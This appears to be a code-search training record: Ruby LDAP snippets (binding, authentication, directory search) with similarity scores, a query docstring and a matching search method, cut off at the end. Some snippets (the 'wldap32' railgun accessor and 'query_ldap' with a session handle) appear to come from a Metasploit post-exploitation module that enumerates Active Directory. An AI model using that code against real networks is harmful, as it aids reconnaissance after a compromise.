"def connect\n @logger.debug(\"Connecting to LDAP server: #{Time.now}\" )\n\n connected = false\n error = nil\n LDAP_SERVERS.each do |ldap_server| \n begin\n @ldap.host = ldap_server\n @ldap.port = 636\n @ldap.encryption :simple_tls\n @ldap.auth BIND_DN, BIND_PASS\n connected = @ldap.bind\n @logger.debug(\"bind result: #{@ldap.get_operation_result}\")\n break if connected\n raise \"Failed to connect to LDAP server #{ldap_server}. Error: #{@ldap.get_operation_result.message} (#{@ldap.get_operation_result.code})\"\n rescue => e\n connected = false\n error = \"Failed to connect to LDAP server #{ldap_server}. Error: #{e.message}\\n#{e.backtrace}\"\n end\n @logger.warn(error)\n end\n\n # raise exception if not connected\n raise ConnectError, error unless connected\n\n @logger.debug(\"connected to #{@ldap.host}.\")\n end",
"def ldap_person\n @person ||= UCB::LDAP::Person.find_by_uid(self.login) if self.login\n end",
"def set_bind_distinguished_name(opts)\n opts = check_params(opts,[:bind_dns])\n super(opts)\n end",
"def valid_user?\n #create a new LDAP object using the ruby-net-ldap library\n @ldap = Net::LDAP.new(:base => \"dc=#{@domain},dc=#{@tld}\",\n :host => @adshost,\n :auth => {:username => \"#{@username}@#{@domain}.#{@tld}\",\n :password => @password,\n :method => :simple})\n #return a boolean indicating whether authentication was successful or not\n return @ldap.bind\n end",
"def connection= conn\n @ldap = conn\n load_users_from_groups\n end",
"def bind_distinguished_name\n super\n end",
"def ldap_domain\n @attributes[:ldap_domain]\n end",
"def authenticate(password)\n\t\t\treturn false if password.to_s.empty?\n\n\t\t\tauth_ldap = @@ldap.dup.bind_as(\n\t\t\t\t:filter => \"(sAMAccountName=#{sAMAccountName})\",\n\t\t\t\t:password => password\n\t\t\t)\n\t\tend",
"def initialize(host, port, base, username, password, use_ssl)\n @people_base = \"ou=people,#{base}\"\n @group_base = \"ou=groups,#{base}\"\n @ldap_conf = {\n :host => host,\n :port => port,\n :base => @people_base,\n :auth => {\n :method => :simple,\n :username => username,\n :password => password\n }\n }\n\n # enable SSL if n\n if use_ssl.is_a? String then use_ssl = use_ssl.downcase == 'true' ? true : false end\n if use_ssl\n @ldap_conf[:encryption] = { :method => :simple_tls }\n end\n\n # test whether it can bind\n #test_ldap = Net::LDAP.new @ldap_conf\n #raise ldap_ex(test_ldap, \"Could not bind to ldap server.\") if !test_ldap.bind\n end",
"def bind\n binding\n end",
"def authenticate(dn, password)\n adapter.authenticate(dn, password)\n end",
"def uri\n\t\turi_parts = {\n\t\t\t:scheme => self.connect_type == :ssl ? 'ldaps' : 'ldap',\n\t\t\t:host => self.host,\n\t\t\t:port => self.port,\n\t\t\t:dn => '/' + self.base_dn\n\t\t}\n\n\t\treturn URI::LDAP.build( uri_parts )\n\tend",
"def ldap_host_2\n @attributes[:ldap_host_2]\n end",
"def group(base_name)\n entry = domain(base_name).bind\n return unless entry\n\n load_group(entry)\n end",
"def ldap_base_dn\n @attributes[:ldap_base_dn]\n end",
"def authenticate(username,password)\n begin\n @ldap.auth username + @ldap_suffix, password\n if @ldap.bind\n return true\n end\n rescue\n end\n return false\n end",
"def populateLDAP\n \n #quit if no email or netid to work with\n return if !self.netid\n \n ldap = Net::LDAP.new(host: 'directory.yale.edu', port: 389)\n b = 'ou=People,o=yale.edu'\n f = Net::LDAP::Filter.eq('uid', self.netid)\n a = %w(givenname sn mail knownAs class college)\n\n p = ldap.search(base: b, filter: f, attributes: a).first\n \n\n\n self.fname = ( p['knownAs'] ? p['knownAs'][0] : '' )\n if self.fname.blank?\n self.fname = ( p['givenname'] ? p['givenname'][0] : '' )\n end\n self.lname = ( p['sn'] ? p['sn'][0] : '' )\n self.email = ( p['mail'] ? p['mail'][0] : '' )\n self.year = ( p['class'] ? p['class'][0].to_i : 0 )\n self.college = ( p['college'] ? p['college'][0] : '' )\n self.save!\n end",
"def ldap_ping\n search_attrs = {\n :base => \"\",\n :scope => Net::LDAP::SearchScope_BaseObject,\n :attributes => [1.1]\n }\n result = false\n @net_ldap.search(search_attrs) { result = true }\n result\n end",
"def get_bind\n @bind\n end",
"def bind(address)\n attach(:bind, address)\n end",
"def corp_lookup\n\n basedn = \"cn=users,dc=bigdatalab,dc=ibm,dc=com\"\n scope = Net::LDAP::SearchScope_WholeSubtree\n filter = \"(&(objectClass=person)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))\"\n attrs = ['sAMAccountName','mail','pwdLastSet']\n\n ldap = Net::LDAP.new\n ldap.host = \"dc-0.bigdatalab.ibm.com\"\n ldap.port = \"389\"\n ldap.auth ENV['BIND_USER'], ENV['BIND_PASS']\n\n if !ldap.bind\n puts \"Problem with AD connection. Aborting!\"\n end\n \n ldap.search(:base => basedn, :scope => scope, :filter => filter, :attributes => attrs, :return_result => true) do |entry|\n\n acct = { \n :id => entry.sAMAccountName.first.to_s, \n :pwdays => 0,\n :notify => false,\n }\n\n if entry.respond_to? :mail\n acct[:mail] = entry.mail.first.to_s\n else\n acct[:mail] = \"[email protected]\"\n end\n\n # Calculate the epoch time from windows time and get a number of days till expiration\n unix_time = (entry.pwdLastSet.first.to_i)/10000000-11644473600\n numDays = (unix_time + $maxPwAge - Time.now.to_i)/86400\n\n if numDays < 0\n next # These passwords have already expired.\n end\n\n # Send a notice 14, 7, 3, 2 and 1 days before expiration\n if [14, 7, 3, 2, 1].include? numDays\n acct[:notify] = true\n acct[:pwDays] = numDays\n end\n\n $accounts.push acct\n end\nend",
"def ldappassword\n\n$HOST = ''\n$PORT = LDAP::LDAP_PORT\n$SSLPORT = LDAP::LDAPS_PORT\nbase = 'dc=, dc='\nldapadmin = 'cn=, dc=, dc='\nldapadminpass = ''\nscope = LDAP::LDAP_SCOPE_SUBTREE\nattrs = ['sn', 'cn']\n\n#hash the password for ldap change\ne_password = \"{SHA}\" + Base64.encode64(Digest::SHA1.digest(@newpasswd)).chomp\n\nconn = LDAP::Conn.new($HOST, $PORT)\nreset = [\n LDAP.mod(LDAP::LDAP_MOD_REPLACE, \"userPassword\", [e_password]),\n]\n\n conn.bind(ldapadmin,ldapadminpass)\n begin\n conn.search(base, scope, \"uid=#{@authex.username}\", attrs) { |entry|\n $USERDN = entry.dn\n }\n rescue LDAP::ResultError\n conn.perror(\"search\")\n exit\n end\n\n begin\n conn.modify(\"#{$USERDN}\", reset)\n puts $USERDN\n rescue LDAP::ResultError => msg\n puts \"Can't change password: \" + msg\n exit 0\n rescue LDAP::Error => errcode\n puts \"Can't change password: \" + LDAP.err2string(errcode)\n exit 0\n end\n\n\n\nend",
"def ldap_secure\n @attributes[:ldap_secure]\n end",
"def auth_options\n cfg = APP_CONFIG[\"ldap\"]\n {\n auth: {\n username: cfg[\"authentication\"][\"bind_dn\"],\n password: cfg[\"authentication\"][\"password\"],\n method: :simple\n }\n }\n end",
"def corp_lookup\n\n basedn = \"cn=users,dc=bigdatalab,dc=ibm,dc=com\"\n scope = Net::LDAP::SearchScope_WholeSubtree\n filter = \"(&(objectClass=person)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))\"\n attrs = ['sAMAccountName','mail','pwdLastSet']\n skip_accounts = ['CORP$']\n\n ldap = Net::LDAP.new\n ldap.host = \"dc-0.bigdatalab.ibm.com\"\n ldap.port = \"389\"\n ldap.auth ENV['BIND_USER'], ENV['BIND_PASS']\n\n if !ldap.bind\n puts \"Problem with AD connection. Aborting!\"\n end\n \n ldap.search(:base => basedn, :scope => scope, :filter => filter, :attributes => attrs, :return_result => true) do |entry|\n if skip_accounts.include? entry.sAMAccountName.first.to_s\n next\n end\n\n begin\n acct = { \n :id => entry.sAMAccountName.first.to_s, \n :mail => entry.mail.first.to_s,\n :pwdays => 0,\n :notify => false,\n }\n rescue\n puts \"Caught exception: #{entry.inspect}\"\n end\n\n # Calculate the epoch time from windows time and get a number of days till expiration\n unix_time = (entry.pwdLastSet.first.to_i)/10000000-11644473600\n numDays = (unix_time + $maxPwAge - Time.now.to_i)/86400\n\n if numDays < 0\n acct[:pwdays] = numDays\n $accounts.push acct\n end\n\n end\nend",
"def get_database(db_name)\n Monga::Database.new(@client, db_name)\n end",
"def authenticate(username, password)\n @username, @password = username, password\n new_net_ldap() # to force bind()\n end",
"def search(basedn, scope, deref, filter)\n #raise LDAP::ResultError::UnwillingToPerform, \"Bad base DN\" unless basedn == BASEDN\n #raise LDAP::ResultError::UnwillingToPerform, \"Bad filter\" unless filter[0..1] == [:eq, \"uid\"]\n uid = filter[3]\n @@pool.borrow do |sql|\n q = \"select login_id,passwd from #{TABLE} where login='#{sql.quote(uid)}'\"\n puts \"SQL Query #{sql.object_id}: #{q}\" if $debug\n res = sql.query(q)\n res.each do |login_id,passwd|\n @@cache.add(login_id, passwd)\n send_SearchResultEntry(\"id=#{login_id},#{BASEDN}\", {\n \"maildir\"=>[\"/netapp/#{uid}/\"],\n })\n end\n end\n end",
"def ldap?\n !!ldap\n end",
"def ldap\n conf['dashboard']['ldap']\n end",
"def bind=(value)\n conf['api']['bind'] = value\n end",
"def get_auth_module(config)\n return AuthLDAP.new(config)\nend",
"def read(syntax = Net::LDAP::AsnSyntax)\n ber_object =\n instrument \"read.net_ldap_connection\", :syntax => syntax do |payload|\n @conn.read_ber(syntax) do |id, content_length|\n payload[:object_type_id] = id\n payload[:content_length] = content_length\n end\n end\n\n return unless ber_object\n\n instrument \"parse_pdu.net_ldap_connection\" do |payload|\n pdu = payload[:pdu] = Net::LDAP::PDU.new(ber_object)\n\n payload[:message_id] = pdu.message_id\n payload[:app_tag] = pdu.app_tag\n\n pdu\n end\n end",
"def bind; binding() end",
"def slapd_db_config_file\n Dir[\"#{node['ca_openldap']['config_dir']}/cn=config/olcDatabase=\\{*\\}{#{ node['ca_openldap']['db_backend'] }}.ldif\"].first\n end",
"def wldap32\n client.railgun.wldap32\n end",
"def auth(user, password)\n @connection.bind(method: :simple, username: user.dn, password: password)\n end",
"def ldap_authenticate\n # logger.debug(\"ldap_authenticate\")\n # ldap_time = Benchmark.realtime { ActiveLdap::Base.setup_connection }\n # logger.debug(\"LDAP: took #{ldap_time} to establish the connection\")\n authenticate_or_request_with_http_basic \"Bluepages Authentication\" do |user_name, password|\n logger.info(\"attempt to ldap authenticate: user_name #{user_name}\")\n next nil unless LdapUser.authenticate_from_email(user_name, password)\n logger.info(\"successful ldap_authenticate as #{user_name}\")\n common_authenticate(user_name)\n return true\n end\n return false\n end",
"def bind\n binding\n end",
"def add_entry( c, dn, attrs ) # :yields: connection_info, distinguished_name, attributes\n \n self.bind( c.host, c.port, c.credentials, c.databag_name, c.use_tls ) unless @ldap\n \n # Ensure no duplicates by casting as a case insensitive, case preserving hash\n attrs = CICPHash.new.merge(attrs)\n # Ensure relativedn is included in the attribute list\n relativedn = dn.split(/,(?!([\\w -]+=[\\w -]+,?){1,}\\\")/).first\n attrs.merge!(Hash[*relativedn.split('=', 2).flatten])\n @ldap.add dn: dn, attributes: attrs\n raise \"Unable to add record: #{@ldap.get_operation_result.message}\" unless @ldap.get_operation_result.message == 'Success'\n end",
"def get_entry( c, dn ) # :yields: connection_info, distinguished_name\n \n self.bind( c.host, c.port, c.credentials, c.databag_name, c.use_tls ) unless @ldap\n \n entry = @ldap.search( \n base: dn, \n filter: Net::LDAP::Filter.eq( 'objectClass', '*' ),\n scope: Net::LDAP::SearchScope_BaseObject,\n attributes: [ '*' ]\n )\n \n raise \"Error while searching: #{@ldap.get_operation_result.message}\" unless @ldap.get_operation_result.message =~ /(Success|No Such Object)/\n return entry ? entry.first : entry\n end",
"def initialize(app, options = {}, &block)\n super(app, options[:name] || :ldap, options.dup, &block)\n @name_proc = (@options.delete(:name_proc) || Proc.new {|name| name})\n @adaptor = OmniAuth::Strategies::LDAP::Adaptor.new(options)\n end",
"def config_client_LDAP\n\t\tldap_conf = File.read('/etc/openldap/ldap.conf')\n\n\t\t# Set the BASE suffix to match the BASE suffix from the slapd conf file\n\t\tldap_conf = ldap_conf.gsub(/#BASE\\tdc=example, dc=com/,\"BASE dc=cit470_Team_4,dc=nku,dc=edu\")\n\n\t\t\n\t\t# Write the ldap.conf file\n\t\tFile.open('/etc/openldap/ldap.conf','w'){|file| file.puts ldap_conf}\n\n\t\t# Configure LDAP ACL to allow password changes\n\n\t\tldap=\"access to attrs=userPassword\\nby self write\\nby anonymous auth\\nby * none\\naccess to *\\nby self write\\nby * read\"\n\t\tFile.open('/etc/openldap/ldap.conf','a') {|file| file.puts ldap}\n\t\t\n\tend",
"def ldap_config\n @@ldap_config ||= YAML::load_file(\"#{RAILS_ROOT}/config/ldap.yml\")[RAILS_ENV || 'development']\n end",
"def get_ldap_id\n\t\tself.id = Devise::LDAP::Adapter.get_ldap_param(self.username,\"uidnumber\").first\n end",
"def find_for_ldap_authentication(attributes={}, authenticator = EpiCas::LdapAuthenticator)\n authenticator.new(attributes, self).authenticate_ldap\n end",
"def initialize(conf:)\n @ldap = Net::LDAP.new host: LDAP_SERVER, # your LDAP host name or IP goes here,\n # port: '389', # unencrypted LDAP host port,\n port: '636', # TLS port\n encryption: :simple_tls,\n base: 'DC=UoA,DC=auckland,DC=ac,DC=nz', # the base of your AD tree goes here,\n auth: {\n method: :simple,\n username: conf.ldap_user, # a user w/sufficient privileges to read from AD goes here,\n password: conf.ldap_auth_token # the user's password goes here\n }\n end",
"def ldap_realname(username)\n\n begin\n # Workaround for bug in jruby-ldap-0.0.1:\n LDAP::load_configuration()\n rescue\n\n end\n\n ldap_host = 'ldap.uio.no'\n conn = LDAP::Conn.new(ldap_host, LDAP::LDAP_PORT)\n filter = \"(uid=#{username})\";\n base_dn = \"dc=uio,dc=no\"\n\n if conn.bound? then\n conn.unbind()\n end\n\n ansatt = nil\n conn.bind do\n\n conn.search2(\"dc=uio,dc=no\", LDAP::LDAP_SCOPE_SUBTREE,\n \"(uid=#{username})\", nil, false, 0, 0).each do |entry|\n\n brukernavn = entry.to_hash[\"uid\"][0]\n fornavn = entry.to_hash[\"givenName\"][0]\n etternavn = entry.to_hash[\"sn\"][0]\n # epost = entry.to_hash[\"mail\"][0]\n # adresse = entry.to_hash[\"postalAddress\"][0]\n\n return fornavn + \" \" + etternavn\n end\n end\n\nend",
"def get_db(dbname)\n Database.new(dbname, @socket, self)\n end",
"def database \n # NOTE:: Having an instance variable here, causes problems\n # when having two Sinatra Apps, each with their own db setup.\n # the instance variable retains only the last setup, so the\n # first setup is overwritten.\n @database ||= ::DataMapper.setup(dm_setup_context, dm_database_url)\n end",
"def bind(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"bind \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end",
"def ldap=(value)\n conf['dashboard']['ldap'] = value.to_hash\n end",
"def []=(name, value)\n @ldap_entry[name] = value\n end",
"def ldap_attr(attr_name)\n Devise::LDAP::Adapter.get_ldap_param(login, attr_name).first\n rescue NoMethodError\n # return blank when ldap does not have the desired attribute.\n logger.warn \"LDAP attribute '#{attr_name}' not found for '#{login}'\"\n ''\n end",
"def bind_address\n configuration.bind_address\n end",
"def bind_address\n @bind_address ||= user_configuration_from_key('solr', 'bind_address')\n end",
"def retrieve_groups_from_ldap\n LdapUser.retrieve_groups self.login\n end",
"def bind(*) end",
"def set_db2_service(database = nil, username = nil, password = nil)\n @database = database\n @user_name = username\n @password = password\n @service = Service::DB2\n end",
"def adapter_options\n cfg = APP_CONFIG[\"ldap\"]\n {\n host: cfg[\"hostname\"],\n port: cfg[\"port\"],\n connection_timeout: cfg[\"timeout\"],\n encryption: encryption(cfg)\n }.tap do |options|\n options.merge!(auth_options) if authentication?\n end\n end",
"def close\n @ldap.close if @ldap\n @ldap = nil\n end",
"def set_db(db_name)\n @db = db_name\n LibDrizzle.drizzle_con_set_db(@con_ptr, @db)\n end",
"def ldap_mapping(options={})\n validate_ldap_mapping_options(options)\n dn_attribute = options[:dn_attribute] || default_dn_attribute\n prefix = options[:prefix] || default_prefix\n classes = options[:classes]\n recommended_classes = options[:recommended_classes]\n scope = options[:scope]\n\n self.dn_attribute = dn_attribute\n self.prefix = prefix\n self.scope = scope\n self.required_classes = classes\n self.recommended_classes = recommended_classes\n\n public_class_method :new\n end",
"def ldap_host_3\n @attributes[:ldap_host_3]\n end",
"def varbind(name, value=Null)\n if name.respond_to? :to_str\n vb = VarBind.new(oid(name), value)\n else\n vb = name.to_varbind\n vb.value = value\n end\n vb\n end",
"def find_user(name)\n return [] if APP_CONFIG.disabled?(\"ldap\")\n\n configuration = ::Portus::LDAP::Configuration.new(user: { username: name })\n connection = initialized_adapter\n search_admin_or_user(connection, configuration)\n rescue ::Net::LDAP::Error => e\n Rails.logger.tagged(:ldap) { Rails.logger.warn \"Connection error: #{e.message}\" }\n []\n end",
"def ldap_dispatcher\n # Scooter doesn't support custom settings yet.\n #@ldap_dispatcher ||= LDAPDispatcher.new(openldap, { :encryption => nil, :port => 389, \n # :auth => { :method => :simple, :username => \"cn=admin,dc=example,dc=com\", :password => \"puppetlabs\" } })\n @ldap_dispatcher ||= LDAPDispatcher.new(openldap, { :encryption => nil, :port => 389 })\nend",
"def connect\n\t\tconn = nil\n\n\t\tcase @connect_type\n\t\twhen :tls\n\t\t\tself.log.debug \"Connecting using TLS to %s:%d\" % [ @host, @port ]\n\t\t\tconn = LDAP::SSLConn.new( @host, @port, true )\n\t\twhen :ssl\n\t\t\tself.log.debug \"Connecting using SSL to %s:%d\" % [ @host, @port ]\n\t\t\tconn = LDAP::SSLConn.new( @host, @port )\n\t\telse\n\t\t\tself.log.debug \"Connecting using an unencrypted connection to %s:%d\" % [ @host, @port ]\n\t\t\tconn = LDAP::Conn.new( @host, @port )\n\t\tend\n\n\t\tconn.set_option( LDAP::LDAP_OPT_PROTOCOL_VERSION, 3 )\n\t\tconn.set_option( LDAP::LDAP_OPT_REFERRALS, LDAP::LDAP_OPT_OFF )\n\n\t\treturn conn\n\tend",
"def [](attr_name)\n @ldap_entry[attr_name]\n end"
] | [
"0.6913362",
"0.63650143",
"0.6115088",
"0.6058074",
"0.6005063",
"0.6000602",
"0.5991074",
"0.59695226",
"0.5956265",
"0.5793615",
"0.5700936",
"0.5565955",
"0.5537644",
"0.5522277",
"0.5521801",
"0.5499361",
"0.5465693",
"0.5459872",
"0.53915536",
"0.5391111",
"0.53690284",
"0.5332073",
"0.5296467",
"0.52696913",
"0.51822764",
"0.5179506",
"0.51708615",
"0.5142381",
"0.5118283",
"0.5100353",
"0.50962895",
"0.50493103",
"0.5036339",
"0.502619",
"0.49718893",
"0.49467742",
"0.49454653",
"0.493118",
"0.4925996",
"0.4897529",
"0.48741093",
"0.48595908",
"0.4845929",
"0.4844616",
"0.48353186",
"0.48078763",
"0.48030657",
"0.47987",
"0.47974497",
"0.4797161",
"0.47940242",
"0.47722086",
"0.4765935",
"0.4751307",
"0.47471285",
"0.4738183",
"0.47202265",
"0.47108343",
"0.47101966",
"0.47083917",
"0.47077957",
"0.46929738",
"0.46903947",
"0.46866602",
"0.4679948",
"0.4672705",
"0.46677038",
"0.4662305",
"0.4661057",
"0.4660821",
"0.46487442",
"0.46460405",
"0.46435952",
"0.46290022",
"0.46255687",
"0.46025103",
"0.45946762",
"0.45681548",
"0.45675087",
"0.45496294",
"0.45472533",
"0.45449856",
"0.4525197",
"0.45008186",
"0.4495007",
"0.4480445",
"0.44772696",
"0.44769582",
"0.4476104",
"0.44669756",
"0.44511575",
"0.44498348",
"0.4438767",
"0.44369227",
"0.4433408",
"0.44156075",
"0.44002002",
"0.43974963",
"0.43958455",
"0.43948126"
] | 0.7768266 | 0 |
== Search This method is used to search the directory server. It accepts the connection resource object described above along with the basedn to be searched. Optionally it also accepts an LDAP filter and scope. The default filter is objectClass= and the default scope is 'base' It returns a list of entries. | def search( c, basedn, *constraints ) # :yields: connection_info, basedn, filter, scope
self.bind( c.host, c.port, c.credentials, c.databag_name, c.use_tls ) unless @ldap
raise "Must specify base dn for search" unless basedn
( filter, scope, attributes ) = constraints
filter = filter.nil? ? Net::LDAP::Filter.eq( 'objectClass', '*' ) : filter
case scope
when 'base'
scope = Net::LDAP::SearchScope_BaseObject
when 'one'
scope = Net::LDAP::SearchScope_SingleLevel
else
scope = Net::LDAP::SearchScope_WholeSubtree
end
scope = scope.nil? ? Net::LDAP::SearchScope_BaseObject : scope
attributes = attributes.nil? ? [ '*' ] : attributes
entries = @ldap.search(
base: basedn,
filter: filter,
scope: scope,
attributes: attributes
)
raise "Error while searching: #{@ldap.get_operation_result.message}" unless @ldap.get_operation_result.message =~ /(Success|No Such Object)/
return entries
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def query_ldap(session_handle, base, scope, filter, fields)\n vprint_status(\"Searching LDAP directory\")\n search = wldap32.ldap_search_sA(session_handle, base, scope, filter, nil, 0, 4)\n vprint_status(\"search: #{search}\")\n\n if search['return'] == LDAP_SIZELIMIT_EXCEEDED\n print_error(\"LDAP_SIZELIMIT_EXCEEDED, parsing what we retrieved, try increasing the MAX_SEARCH value [0:LDAP_NO_LIMIT]\")\n elsif search['return'] != Error::SUCCESS\n print_error(\"No results\")\n wldap32.ldap_msgfree(search['res'])\n return\n end\n\n search_count = wldap32.ldap_count_entries(session_handle, search['res'])['return']\n\n if search_count == 0\n print_error(\"No entries retrieved\")\n wldap32.ldap_msgfree(search['res'])\n return\n end\n\n print_status(\"Entries retrieved: #{search_count}\")\n\n pEntries = []\n entry_results = []\n\n if datastore['MAX_SEARCH'] == 0\n max_search = search_count\n else\n max_search = [datastore['MAX_SEARCH'], search_count].min\n end\n\n 0.upto(max_search - 1) do |i|\n\n if(i==0)\n pEntries[0] = wldap32.ldap_first_entry(session_handle, search['res'])['return']\n end\n\n if(pEntries[i] == 0)\n print_error(\"Failed to get entry\")\n wldap32.ldap_msgfree(search['res'])\n return\n end\n\n vprint_status(\"Entry #{i}: 0x#{pEntries[i].to_s(16)}\")\n\n entry = get_entry(pEntries[i])\n\n # Entries are a linked list...\n if client.arch == ARCH_X64\n pEntries[i+1] = entry[4]\n else\n pEntries[i+1] = entry[3]\n end\n\n ber = get_ber(entry)\n\n field_results = []\n fields.each do |field|\n vprint_status(\"Field: #{field}\")\n\n values = get_values_from_ber(ber, field)\n\n values_result = \"\"\n values_result = values.join(',') if values\n vprint_status(\"Values #{values}\")\n\n field_results << {:type => 'unknown', :value => values_result}\n end\n\n entry_results << field_results\n end\n\n return {\n :fields => fields,\n :results => entry_results\n }\n end",
"def search( base, scope=:subtree, filter='(objectClass=*)', options={} )\n\t\tcollectclass = nil\n\n\t\t# If the base argument is an object whose class knows how to create instances of itself\n\t\t# from an LDAP::Entry, use it instead of Treequel::Branch to wrap results\n\t\tif options.key?( :results_class )\n\t\t\tcollectclass = options.delete( :results_class )\n\t\telse\n\t\t\tcollectclass = base.class.respond_to?( :new_from_entry ) ?\n\t\t\t\tbase.class :\n\t\t\t\tself.results_class\n\t\tend\n\n\t\t# Format the arguments in the way #search_ext2 expects them\n\t\tbase_dn, scope, filter, searchopts =\n\t\t\tself.normalize_search_parameters( base, scope, filter, options )\n\n\t\t# Unwrap the search options from the hash in the correct order\n\t\tself.log.debug do\n\t\t\tattrlist = SEARCH_PARAMETER_ORDER.inject([]) do |list, param|\n\t\t\t\tlist << \"%s: %p\" % [ param, searchopts[param] ]\n\t\t\tend\n\t\t\t\"searching with base: %p, scope: %p, filter: %p, %s\" %\n\t\t\t\t[ base_dn, scope, filter, attrlist.join(', ') ]\n\t\tend\n\t\tparameters = searchopts.values_at( *SEARCH_PARAMETER_ORDER )\n\n\t\t# Wrap each result in the class derived from the 'base' argument\n\t\tself.log.debug \"Searching via search_ext2 with arguments: %p\" % [[\n\t\t\tbase_dn, scope, filter, *parameters\n\t\t]]\n\n\t\tresults = []\n\t\tself.conn.search_ext2( base_dn, scope, filter, *parameters ).each do |entry|\n\t\t\tbranch = collectclass.new_from_entry( entry, self )\n\t\t\tbranch.include_operational_attrs = true if\n\t\t\t\tbase.respond_to?( :include_operational_attrs? ) &&\n\t\t\t\tbase.include_operational_attrs?\n\n\t\t\tif block_given?\n\t\t\t\tresults << yield( branch )\n\t\t\telse\n\t\t\t\tresults << branch\n\t\t\tend\n\t\tend\n\n\t\treturn results\n\trescue RuntimeError => err\n\t\tconn = self.conn\n\n\t\t# The LDAP library raises a plain RuntimeError with an incorrect message if the\n\t\t# connection goes away, so it's caught here to rewrap it\n\t\tcase err.message\n\t\twhen /no result returned by search/i\n\t\t\traise LDAP::ResultError.new( LDAP.err2string(conn.err) )\n\t\telse\n\t\t\traise\n\t\tend\n\tend",
"def search(args = nil)\n args ||= {}\n\n # filtering, scoping, search base\n # filter: https://tools.ietf.org/html/rfc4511#section-4.5.1.7\n # base: https://tools.ietf.org/html/rfc4511#section-4.5.1.1\n # scope: https://tools.ietf.org/html/rfc4511#section-4.5.1.2\n filter = args[:filter] || Net::LDAP::Filter.eq(\"objectClass\", \"*\")\n base = args[:base]\n scope = args[:scope] || Net::LDAP::SearchScope_WholeSubtree\n\n # attr handling\n # attrs: https://tools.ietf.org/html/rfc4511#section-4.5.1.8\n # attrs_only: https://tools.ietf.org/html/rfc4511#section-4.5.1.6\n attrs = Array(args[:attributes])\n attrs_only = args[:attributes_only] == true\n\n # references\n # refs: https://tools.ietf.org/html/rfc4511#section-4.5.3\n # deref: https://tools.ietf.org/html/rfc4511#section-4.5.1.3\n refs = args[:return_referrals] == true\n deref = args[:deref] || Net::LDAP::DerefAliases_Never\n\n # limiting, paging, sorting\n # size: https://tools.ietf.org/html/rfc4511#section-4.5.1.4\n # time: https://tools.ietf.org/html/rfc4511#section-4.5.1.5\n size = args[:size].to_i\n time = args[:time].to_i\n paged = args[:paged_searches_supported]\n sort = args.fetch(:sort_controls, false)\n\n # arg validation\n raise ArgumentError, \"search base is required\" unless base\n raise ArgumentError, \"invalid search-size\" unless size >= 0\n raise ArgumentError, \"invalid search scope\" unless Net::LDAP::SearchScopes.include?(scope)\n raise ArgumentError, \"invalid alias dereferencing value\" unless Net::LDAP::DerefAliasesArray.include?(deref)\n\n # arg transforms\n filter = Net::LDAP::Filter.construct(filter) if filter.is_a?(String)\n ber_attrs = attrs.map { |attr| attr.to_s.to_ber }\n ber_sort = encode_sort_controls(sort)\n\n # An interesting value for the size limit would be close to A/D's\n # built-in page limit of 1000 records, but openLDAP newer than version\n # 2.2.0 chokes on anything bigger than 126. You get a silent error that\n # is easily visible by running slapd in debug mode. Go figure.\n #\n # Changed this around 06Sep06 to support a caller-specified search-size\n # limit. Because we ALWAYS do paged searches, we have to work around the\n # problem that it's not legal to specify a \"normal\" sizelimit (in the\n # body of the search request) that is larger than the page size we're\n # requesting. Unfortunately, I have the feeling that this will break\n # with LDAP servers that don't support paged searches!!!\n #\n # (Because we pass zero as the sizelimit on search rounds when the\n # remaining limit is larger than our max page size of 126. In these\n # cases, I think the caller's search limit will be ignored!)\n #\n # CONFIRMED: This code doesn't work on LDAPs that don't support paged\n # searches when the size limit is larger than 126. We're going to have\n # to do a root-DSE record search and not do a paged search if the LDAP\n # doesn't support it. Yuck.\n rfc2696_cookie = [126, \"\"]\n result_pdu = nil\n n_results = 0\n\n message_id = next_msgid\n\n instrument \"search.net_ldap_connection\",\n message_id: message_id,\n filter: filter,\n base: base,\n scope: scope,\n size: size,\n time: time,\n sort: sort,\n referrals: refs,\n deref: deref,\n attributes: attrs do |payload|\n loop do\n # should collect this into a private helper to clarify the structure\n query_limit = 0\n if size > 0\n if paged\n query_limit = (((size - n_results) < 126) ? (size -\n n_results) : 0)\n else\n query_limit = size\n end\n end\n\n request = [\n base.to_ber,\n scope.to_ber_enumerated,\n deref.to_ber_enumerated,\n query_limit.to_ber, # size limit\n time.to_ber,\n attrs_only.to_ber,\n filter.to_ber,\n ber_attrs.to_ber_sequence\n ].to_ber_appsequence(Net::LDAP::PDU::SearchRequest)\n\n # rfc2696_cookie sometimes contains binary data from Microsoft Active Directory\n # this breaks when calling to_ber. (Can't force binary data to UTF-8)\n # we have to disable paging (even though server supports it) to get around this...\n\n controls = []\n controls <<\n [\n Net::LDAP::LDAPControls::PAGED_RESULTS.to_ber,\n # Criticality MUST be false to interoperate with normal LDAPs.\n false.to_ber,\n rfc2696_cookie.map{ |v| v.to_ber}.to_ber_sequence.to_s.to_ber\n ].to_ber_sequence if paged\n controls << ber_sort if ber_sort\n controls = controls.empty? ? nil : controls.to_ber_contextspecific(0)\n\n write(request, controls, message_id)\n\n result_pdu = nil\n controls = []\n\n while pdu = queued_read(message_id)\n case pdu.app_tag\n when Net::LDAP::PDU::SearchReturnedData\n n_results += 1\n yield pdu.search_entry if block_given?\n when Net::LDAP::PDU::SearchResultReferral\n if refs\n if block_given?\n se = Net::LDAP::Entry.new\n se[:search_referrals] = (pdu.search_referrals || [])\n yield se\n end\n end\n when Net::LDAP::PDU::SearchResult\n result_pdu = pdu\n controls = pdu.result_controls\n if refs && pdu.result_code == Net::LDAP::ResultCodeReferral\n if block_given?\n se = Net::LDAP::Entry.new\n se[:search_referrals] = (pdu.search_referrals || [])\n yield se\n end\n end\n break\n else\n raise Net::LDAP::ResponseTypeInvalidError, \"invalid response-type in search: #{pdu.app_tag}\"\n end\n end\n\n # count number of pages of results\n payload[:page_count] ||= 0\n payload[:page_count] += 1\n\n # When we get here, we have seen a type-5 response. If there is no\n # error AND there is an RFC-2696 cookie, then query again for the next\n # page of results. If not, we're done. Don't screw this up or we'll\n # break every search we do.\n #\n # Noticed 02Sep06, look at the read_ber call in this loop, shouldn't\n # that have a parameter of AsnSyntax? Does this just accidentally\n # work? According to RFC-2696, the value expected in this position is\n # of type OCTET STRING, covered in the default syntax supported by\n # read_ber, so I guess we're ok.\n more_pages = 